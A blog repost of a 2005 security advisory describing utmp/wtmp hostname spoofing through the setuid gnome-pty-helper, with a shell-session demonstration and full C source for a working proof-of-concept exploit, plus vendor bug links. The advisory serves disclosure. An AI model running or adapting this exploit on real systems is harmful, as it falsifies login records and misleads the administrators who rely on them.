Search This Blog

Monday, October 10, 2005

[UNIX] gnome-pty-helper utmp Display Spoofing

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

gnome-pty-helper utmp Display Spoofing
------------------------------------------------------------------------

SUMMARY

" <http://www.gnome.org/> gnome-pty-helper is a program that setuid
application used to open a pseudo-terminal, set the permissions,
owner-ship and record user login information."

gnome-pty-helper can be made to write utmp/wtmp records with arbitrary
DISPLAY (host) settings.

DETAILS

gnome-pty-helper allows attackers to spoof a local UTMP hostname due to a
failure of the application to properly validate user-supplied data prior
to using it to update UTMP records.

CVE Information:
<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0023>
CAN-2005-0023

Proof of Concept:
psz@savona:~$ gnome-pty-helper-exploit xyz & sleep 1; who; ps aux | grep
psz; sleep 6; who
[1] 31444
Writing utmp (who) record for DISPLAY=xyz
Running who | grep xyz
psz pts/2 Sep 20 08:40 (xyz)
utmp (who) record will be cleaned up when we exit.
To leave it behind, kill gnome-pty-helper: kill 31446
Sleeping for 5 secs...
psz pts/2 Sep 20 08:40 (xyz)
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
psz 31358 0.0 0.3 10340 7768 ? S 08:14 0:00 xterm -T
psz@savona -n psz@savona -sb -sl 10000 -ls
psz 31444 0.0 0.0 1484 380 pts/1 S 08:21 0:00
gnome-pty-helper-exploit xyz
psz 31446 0.0 0.0 1696 604 pts/1 S 08:21 0:00
gnome-pty-helper
psz 31454 0.0 0.0 2496 848 pts/1 R+ 08:21 0:00 ps aux
[1]+ Done gnome-pty-helper-exploit xyz
psz pts/1 Sep 20 08:33 (y622.yt.maths.usyd.edu.au:0.0)

CODE:

/*
Must be compiled against (within)
gnome-libs-1.4.2/zvt
because it uses *.h files from there.
Code "stolen" from subshell.c .
*/

#include <sys/types.h>

#include "subshell-includes.h"
#define ZVT_TERM_DO_UTMP_LOG 1
#define ZVT_TERM_DO_WTMP_LOG 2
#define ZVT_TERM_DO_LASTLOG 4

/* Pid of the helper SUID process */
static pid_t helper_pid;

/* The socketpair used for the protocol */
int helper_socket_protocol [2];

/* The parallel socketpair used to transfer file descriptors */
int helper_socket_fdpassing [2];

#include <sys/socket.h>
#include <sys/uio.h>

static struct cmsghdr *cmptr;
#define CONTROLLEN sizeof (struct cmsghdr) + sizeof (int)

static int
receive_fd (int helper_fd)
{
struct iovec iov [1];
struct msghdr msg;
char buf [32];

iov [0].iov_base = buf;
iov [0].iov_len = sizeof (buf);
msg.msg_iov = iov;
msg.msg_iovlen = 1;
msg.msg_name = NULL;
msg.msg_namelen = 0;

if (cmptr == NULL && (cmptr = malloc (CONTROLLEN)) == NULL)
return -1;
msg.msg_control = (caddr_t) cmptr;
msg.msg_controllen = CONTROLLEN;

if (recvmsg (helper_fd, &msg, 0) <= 0)
return -1;

return *(int *) CMSG_DATA (cmptr);
}

static int
s_pipe (int fd [2])
{
return socketpair (AF_UNIX, SOCK_STREAM, 0, fd);
}

static void *
get_ptys (int *master, int *slave, int update_wutmp)
{
GnomePtyOps op;
int result, n;
void *tag;

if (helper_pid == -1)
return NULL;

if (helper_pid == 0){
if (s_pipe (helper_socket_protocol) == -1)
return NULL;

if (s_pipe (helper_socket_fdpassing) == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
return NULL;
}

helper_pid = fork ();

if (helper_pid == -1){
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);
return NULL;
}

if (helper_pid == 0){
close (0);
close (1);
dup2 (helper_socket_protocol [1], 0);
dup2 (helper_socket_fdpassing [1], 1);

/* Close aliases */
close (helper_socket_protocol [0]);
close (helper_socket_protocol [1]);
close (helper_socket_fdpassing [0]);
close (helper_socket_fdpassing [1]);

execl ("/usr/sbin/gnome-pty-helper", "gnome-pty-helper", NULL);
exit (1);
} else {
close (helper_socket_fdpassing [1]);
close (helper_socket_protocol [1]);

/*
* Set the close-on-exec flag for the other
* descriptors, these should never propagate
* (otherwise gnome-pty-heler wont notice when
* this process is killed).
*/
fcntl (helper_socket_protocol [0], F_SETFD, FD_CLOEXEC);
fcntl (helper_socket_fdpassing [0], F_SETFD, FD_CLOEXEC);
}
}
op = GNOME_PTY_OPEN_NO_DB_UPDATE;

if (update_wutmp & ZVT_TERM_DO_UTMP_LOG){
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGUWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_UWTMP;
else if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOGUTMP;
else
op = GNOME_PTY_OPEN_PTY_UTMP;
} else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG) {
if (update_wutmp & (ZVT_TERM_DO_WTMP_LOG | ZVT_TERM_DO_LASTLOG))
op = GNOME_PTY_OPEN_PTY_LASTLOGWTMP;
else if (update_wutmp & ZVT_TERM_DO_WTMP_LOG)
op = GNOME_PTY_OPEN_PTY_WTMP;
} else
if (update_wutmp & ZVT_TERM_DO_LASTLOG)
op = GNOME_PTY_OPEN_PTY_LASTLOG;

if (write (helper_socket_protocol [0], &op, sizeof (op)) < 0)
return NULL;

n = read (helper_socket_protocol [0], &result, sizeof (result));
if (n == -1 || n != sizeof (result)){
helper_pid = 0;
return NULL;
}

if (result == 0)
return NULL;

n = read (helper_socket_protocol [0], &tag, sizeof (tag));

if (n == -1 || n != sizeof (tag)){
helper_pid = 0;
return NULL;
}

*master = receive_fd (helper_socket_fdpassing [0]);
*slave = receive_fd (helper_socket_fdpassing [0]);

return tag;
}

int main (int argc, char* argv[])
{
int slave_pty, master_pty;
void* mytag;
int log = ZVT_TERM_DO_UTMP_LOG;
char buf[1000];

printf("Writing utmp (who) record for DISPLAY=%s\n", argv[1]);
setenv("DISPLAY",argv[1],1);

if ((mytag = get_ptys (&master_pty, &slave_pty, log)) == NULL)
return;

sprintf(buf,"who | grep %s",argv[1]);
printf("Running %s\n",buf);
system(buf);
printf("utmp (who) record will be cleaned up when we exit.\n");
printf("To leave it behind, kill gnome-pty-helper: kill %d\n",helper_pid);

printf("Sleeping for 5 secs...\n");
sleep (5);
}

/* EoF */

ADDITIONAL INFORMATION

The information has been provided by <mailto:psz@maths.usyd.edu.au> Paul
Szabo.
Debian Bug report can be found at:
<http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330907>
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=330907
The vendor bug report can be found at:
<http://bugzilla.gnome.org/show_bug.cgi?id=317312>
http://bugzilla.gnome.org/show_bug.cgi?id=317312

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

No comments: